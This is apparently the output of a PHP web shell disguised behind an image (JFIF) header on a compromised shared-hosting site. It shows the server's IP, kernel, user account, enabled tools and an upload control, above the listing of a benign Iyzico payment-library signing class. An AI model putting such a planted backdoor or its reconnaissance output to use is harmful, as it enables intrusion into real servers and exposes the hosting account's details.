����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.137.169.229 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./bofirmacademy.com/vendor/iyzico/iyzipay-php/src/Iyzipay/ |
Upload File : |
<?php namespace Iyzipay; class IyziAuthV2Generator { public static function generateAuthContent($uri, $apiKey, $secretKey, $randomString, Request $request = null) { $hashStr = "apiKey:" . $apiKey . "&randomKey:" . $randomString ."&signature:" . self::getHmacSHA256Signature($uri, $secretKey, $randomString, $request); $hashStr = base64_encode($hashStr); return $hashStr; } public static function getHmacSHA256Signature($uri, $secretKey, $randomString, Request $request = null) { $dataToEncrypt = $randomString . self::getPayload($uri, $request); $hash = hash_hmac('sha256', $dataToEncrypt, $secretKey, true); $token = bin2hex($hash); return $token; } public static function getPayload($uri, Request $request = null) { $startNumber = strpos($uri, '/v2'); $endNumber = strpos($uri, '?'); if(strpos($uri,"subscription") || strpos($uri,"ucs")){ $endNumber = strlen($uri); if(strpos($uri,'?')){ $endNumber = strpos($uri, '?'); } } $endNumber-= $startNumber; $uriPath = substr($uri, $startNumber, $endNumber); if (!empty($request) && $request->toJsonString() != '[]') $uriPath = $uriPath.$request->toJsonString(); return $uriPath; } }